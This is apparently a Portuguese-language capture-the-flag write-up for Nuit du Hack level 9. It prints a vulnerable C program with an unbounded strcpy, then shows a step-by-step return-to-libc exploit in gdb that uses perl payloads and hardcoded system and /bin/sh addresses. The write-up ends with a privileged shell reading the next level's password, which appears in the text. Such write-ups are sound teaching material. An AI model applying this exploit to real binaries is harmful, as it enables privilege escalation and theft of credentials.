Nuit du Hack Level9 - Return to LibC

Level9 do nuit du hack, lendo o source..

$ cat level9.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// gcc -o level9 level9.c -fno-stack-protector -mpreferred-stack-boundary=2
// paxctl -c -Spermx level9

void sayHello(char *tmp)
{
 char login[50];

strcpy(login, tmp);
 printf("Hi %s !\n", login);
}

int main(int argc, char *argv[])
{
 if(argc < 2) {
 printf("Empty login! \n");
 exit(-1);
 }
 sayHello(argv[1]);

exit(0);
}

Vemos que não foi compilado com -z execstack, e temos a proteção do pax, isso significa que temos que fazer um return to libc

Vamos ver dentro do gdb.

(gdb) r $(perl -e 'print "\xee" x 54 . "\xdd\xcc\xbb\xaa"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/level9/level9 $(perl -e 'print "\xee" x 54 . "\xdd\xcc\xbb\xaa"')
Hi �������������������������������������������������������̻� !

Program received signal SIGSEGV, Segmentation fault.
0xaabbccdd in ?? ()
(gdb)

Controlamos facilmente o eip, vamos colocar um /bin/sh numa variável de ambiente, e pegar seu endereço.

$ export SC=" /bin/sh"
$ /tmp/getenv SC
0xbfffffae
$

Legal, vamos pegar o endereço da função system.

(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecf180 <system>
(gdb)

Certo, precisamos então colocar

[54 bytes ĺixo] [&system] [4 bytes lixo] [&"/bin/sh"]

(gdb) r $(perl -e 'print "\xee" x 54 . "\x80\xf1\xec\xb7" . "\xdd\xcc\xbb\xaa" . "\xae\xff\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/level9/level9 $(perl -e 'print "\xee" x 54 . "\x80\xf1\xec\xb7" . "\xdd\xcc\xbb\xaa" . "\xae\xff\xff\xbf"')
Hi �����������������������������������������������������������̻����� !
$

yahuu uma shell

Fora do gdb…

$ ./level9 $(perl -e 'print "\xee" x 54 . "\x80\xf1\xec\xb7" . "\xdd\xcc\xbb\xaa" . "\xae\xff\xff\xbf"')
 Hi �����������������������������������������������������������̻����� !
 $ id
 uid=1009(level9) gid=1009(level9) euid=1010(level10) groupes=1010(level10),1009(level9)
 $ cat /home/level10/passwd
 z8D4ds
 $

PWNED!

About these ads